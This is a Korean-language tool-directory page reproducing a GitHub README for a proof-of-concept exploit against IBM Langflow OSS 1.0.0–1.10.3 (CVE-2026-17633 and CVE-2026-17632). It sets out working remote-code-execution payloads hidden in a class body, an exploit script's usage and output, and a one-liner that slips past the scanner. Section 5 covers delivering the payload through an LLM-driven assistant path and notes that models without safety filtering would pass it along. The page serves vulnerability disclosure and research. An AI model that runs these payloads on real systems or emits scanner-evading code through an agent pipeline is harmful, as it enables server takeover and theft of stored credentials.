Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
langflow-CVE-2026-17633-PoC — CVE-2026-17633 PoC — IBM Langflow OSS 1.0.0–1.10.3의 custom_component 엔드포인트를 통한 인증된 RCE. CVE-2026-17632 AST 스캐너 우회 연구 포함. | Kitploit
도구/GitHubGitHub/oscar-collado/langflow-cve-2026-17633-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHuboscar-collado/langflow-cve-2026-17633-poc

langflow-CVE-2026-17633-PoC

CVE-2026-17633 PoC — IBM Langflow OSS 1.0.0–1.10.3의 custom_component 엔드포인트를 통한 인증된 RCE. CVE-2026-17632 AST 스캐너 우회 연구 포함.

저장소 보기
13시간 54분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-17633 & CVE-2026-17632 — IBM Langflow OSS RCE

교육 목적으로만 사용하십시오. 본인이 소유하거나 명시적인 서면 승인을 받은 시스템에만 사용하십시오.


1. 소개

Langflow란 무엇인가

Langflow는 LLM 기반 애플리케이션과 AI 에이전트 워크플로우를 구축하기 위한 오픈소스 로우코드 플랫폼입니다. 사용자가 컴포넌트 — 모델, 리트리버, 도구, 메모리, 사용자 정의 Python 코드 — 를 연결하여 실행 가능한 플로우로 만들 수 있는 시각적 드래그 앤 드롭 인터페이스를 제공합니다. Custom Component 기능을 통해 사용자는 컴포넌트 동작을 Python으로 직접 정의할 수 있으며, 이것이 본 연구에서 악용된 공격 표면입니다.

IBM 보안 공지 — 2026년 8월 배치

2026년 8월 5일, IBM은 Langflow OSS 버전 1.0.0부터 1.10.3에 영향을 미치는 취약점 배치를 공개하는 보안 공지를 발표했습니다. 전체 공지는 다음에서 확인할 수 있습니다:

https://www.ibm.com/support/pages/node/7282646

본 연구는 해당 배치에서 두 개의 CVE에 초점을 맞춥니다:

CVECVSS요약
CVE-2026-176338.5 HIGH/api/v1/custom_component를 통한 인증된 RCE — 코드가 보안 검사 없이 exec()에 직접 전달됨
CVE-2026-176328.8 HIGHAST 보안 스캐너 우회 — 조작된 Python 코드가 임의의 OS 명령을 실행하면서 is_safe: True로 scan_code_security()를 통과함

두 CVE 모두 Langflow 1.10.3의 정적 소스 코드 분석을 통해 독립적으로 발견되었습니다.

본 연구의 범위

  • 주요 PoC: CVE-2026-17633 — 동작하는 익스플로잇 스크립트로 엔드투엔드 시연
  • 연구 발견: CVE-2026-17632 — AST 스캐너 우회가 로컬에서 확인됨; LLM을 통한 전달은 섹션 5에 문서화된 실질적 한계가 있음
  • 실습 환경: Kali Linux의 Docker에서 실행되는 Langflow OSS 1.10.3

면책 조항

본 연구는 자체 호스팅 Langflow 인스턴스를 대상으로 격리된 실습 환경에서 수행되었습니다. 모든 발견 사항은 책임 있게 공개됩니다. 명시적인 서면 승인 없이 시스템에 이를 사용하지 마십시오.


2. CVE-2026-17633 — 기술 분석

취약점 설명

Langflow OSS 1.0.0–1.10.3의 POST /api/v1/custom_component 엔드포인트는 인증된 사용자로부터 임의의 Python 코드를 받아 Python의 exec() 함수를 통해 서버 측에서 실행합니다. Agentic Assistant 경로와 달리, 이 엔드포인트는 실행 전에 scan_code_security()나 다른 AST 기반 콘텐츠 검증기를 호출하지 않습니다. 모든 인증된 사용자는 단일 HTTP 요청으로 원격 코드 실행을 달성할 수 있습니다.

CWE-94 — 코드 생성의 부적절한 제어

/api/v1/custom_component 엔드포인트

출처: langflow/api/v1/endpoints.py — 1271행

root@kitploit:~
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true인 경우(프로덕션 배포에서 흔함), 코드는 콘텐츠 검사 없이 build_custom_component_template()로 직접 전달됩니다.

취약한 이유 — prepare_global_scope()와 ast.Expr

실행 체인은 lfx/custom/validate.py의 create_class()로 이어지며, 이 함수는 클래스를 컴파일하고 실행하기 전에 prepare_global_scope()를 호출합니다:

root@kitploit:~
def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

모듈 수준의 단독 함수 호출(예: os.system(...))은 ast.Expr 노드이며, isinstance 검사에 매칭되지 않고 조용히 버려집니다. 그러나 클래스 본문 내부에 배치된 코드는 ClassDef 노드의 일부이며, compile_class_code() 내부에서 exec()를 통해 클래스가 정의될 때 전부 실행됩니다.

이것이 핵심 통찰입니다: 페이로드는 모듈 수준이 아니라 클래스 본문 내부에 있어야 합니다.

root@kitploit:~
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

익스플로잇 체인

root@kitploit:~
Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

LLM 불필요. 스캐너 우회 불필요. 단일 HTTP 요청.


3. 실습 환경 구성

사전 요구 사항

요구 사항값
호스트 OSKali Linux (테스트됨)
DockerCE 5.x + Compose plugin v2
Langflow 이미지langflowai/langflow:1.10.3
RAM컨테이너용 최소 4 GB

Docker Compose 구성

실습용 디렉터리를 만들고 다음을 docker-compose.yml로 저장합니다:

root@kitploit:~
services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

실습 환경을 시작합니다:

root@kitploit:~
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

유효한 토큰 얻기

위에서 정의한 슈퍼유저 자격 증명으로 http://127.0.0.1:7860에 로그인합니다. 액세스 토큰은 브라우저 쿠키 access_token_lf에 저장됩니다. 또는 API를 통해 검색할 수 있습니다:

root@kitploit:~
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

응답에서 access_token 값을 복사합니다.


4. PoC 실행

사용법

root@kitploit:~
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]

  -t, --target   TARGET   Langflow base URL (e.g. http://127.0.0.1:7860)
  -k, --token    TOKEN    Bearer token of the authenticated user
  -c, --command  COMMAND  OS command to execute (default: id > /tmp/pwned.txt)
  --verbose               Print full payload and server response
  --timeout      TIMEOUT  Request timeout in seconds (default: 30)

기본 실행

root@kitploit:~
python3 exploit_CVE-2026-17633.py \
  -t http://127.0.0.1:7860 \
  -k <bearer_token> \
  -c 'id > /tmp/pwned.txt'

예상 출력:

root@kitploit:~
============================================================
 PoC CVE-2026-17633 — Langflow Custom Component RCE
 CVSS 8.5 HIGH — Authenticated RCE
 IBM Langflow OSS 1.0.0 – 1.10.3
============================================================

[*] Health:  {"status":"ok"}
[*] Target:   http://127.0.0.1:7860/api/v1/custom_component
[*] Command:  id > /tmp/pwned.txt
[*] Vector:   class body exec() — no scanner

[*] HTTP Status: 200

============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt

[*] Verify the effect on the server:
    docker exec <container_id> cat /tmp/pwned.txt

RCE 검증

root@kitploit:~
docker exec <container_id> cat /tmp/pwned.txt

예상 출력:

root@kitploit:~
uid=1000(user) gid=0(root) groups=0(root)

참고: Langflow 1.10.3은 컨테이너 내부에서 root가 아닌 uid=1000(user)로 실행됩니다. 그러나 컨테이너 내부에서 해당 사용자는 gid=0(root)에 속하며, 여기서 호스트나 연결된 서비스(LLM 제공자 API 키, 데이터베이스 자격 증명, 벡터 스토어 토큰)로의 측면 이동이 현실적인 침해 후 시나리오입니다.


5. 관련 발견 — CVE-2026-17632

발견 경로

CVE-2026-17633을 이해하기 위해 Langflow 1.10.3의 소스 코드를 분석하던 중, Agentic Assistant 코드 경로도 함께 조사되었습니다. 이로 인해 langflow/agentic/helpers/code_security.py의 scan_code_security()가 발견되었습니다 — 이는 LLM이 생성한 컴포넌트 코드가 validate_component_runtime()에 도달하기 전에 적용되는 AST 기반 보안 스캐너입니다.

이 스캐너는 정교합니다: 임포트 별칭을 추적하고, 와일드카드 임포트를 탐지하며, getattr() 리플렉션을 처리하고, 포괄적인 위험 호출 목록(os.system, subprocess, exec, eval, __import__ 등)을 차단합니다.

AST 스캐너의 허점

DANGEROUS_CALLS를 주의 깊게 분석한 결과 누락된 항목이 드러났습니다:

root@kitploit:~
DANGEROUS_CALLS: dict[str, str] = {
    "exec":         "Use of exec() is forbidden in components",
    "eval":         "Use of eval() is forbidden in components",
    "compile":      "Use of compile() is forbidden in components",
    "__import__":   "Use of __import__() is forbidden in components",
    "globals":      "Use of globals() is forbidden in components",
    "open":         "Use of open() is forbidden in components",
    "breakpoint":   "Use of breakpoint() is forbidden in components",
    # "vars" → NOT PRESENT ← gap identified here
}

vars()가 없습니다. create_class()의 exec() 컨텍스트에서 vars()는 exec_globals를 반환하며, 여기에는 validate.py의 모듈 전역에서 상속된 importlib가 포함됩니다. 또한 ["__builtins__"]는 속성 접근(ast.Attribute)이 아니라 서브스크립트 접근(ast.Subscript)이므로, visit_Attribute()와 DANGEROUS_DUNDER_ATTRS가 이를 검사하지 않습니다.

우회 증명 — is_safe: True

다음 페이로드는 위반 없이 scan_code_security()를 통과합니다:

root@kitploit:~
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")

컨테이너 내부에서 스캐너에 대해 직접 검증했습니다:

root@kitploit:~
from langflow.agentic.helpers.code_security import scan_code_security

test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)

출력:

root@kitploit:~
is_safe: True
violations: ()

RCE 실행은 create_class()가 사용하는 것과 동일한 exec() 컨텍스트에서 우회를 직접 실행하여 확인되었습니다:

root@kitploit:~
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)

/tmp/pwned.txt의 출력:

root@kitploit:~
uid=1000(user) gid=0(root) groups=0(root)

LLM을 통한 전달 한계

CVE-2026-17632는 Agentic Assistant 경로를 통해 악용됩니다:

root@kitploit:~
POST /api/v1/agentic/assist/stream
  → LLM generates Python component code
  → extract_component_code() extracts the ```python``` block
  → validate_component_code()        — AST structural check → PASS
  → scan_code_security()             — bypass via vars()    → PASS (is_safe: True)
  → validate_component_runtime()     — exec() without sandbox → RCE

전달 메커니즘은 LLM이 응답에서 우회 페이로드를 그대로 재현할 것을 요구합니다. 실제로 콘텐츠 안전 필터가 있는 클라우드 호스팅 LLM(OpenAI, Anthropic, 대부분의 OpenRouter 무료 모델)은 보안 연구나 문서로 프레이밍된 경우에도 __import__, os.system 또는 유사한 패턴을 포함하는 페이로드 출력을 거부합니다.

이는 실제 익스플로잇에서도 현실적인 제약입니다: 클라우드 LLM 제공자가 구성된 Langflow 인스턴스를 대상으로 하는 공격자도 동일한 콘텐츠 필터에 직면하게 됩니다. 이 취약점은 자체 호스팅 모델(Ollama, vLLM, LM Studio)이나 안전 정렬이 없는 비공개 파인튜닝 모델을 사용하는 배포에 대해 완전히 악용 가능하며, 이는 엔터프라이즈 Langflow 배포의 상당 부분을 차지합니다.

AST 스캐너 우회(is_safe: True)와 exec() RCE는 독립적으로 확인되었습니다. LLM을 통한 엔드투엔드 전달 체인이 CVE-2026-17632의 미해결 연구 과제입니다.


격리된 실습 환경에서 Langflow OSS 1.10.3을 대상으로 수행된 연구. IBM 보안 공지: https://www.ibm.com/support/pages/node/7282646

도구 다운로드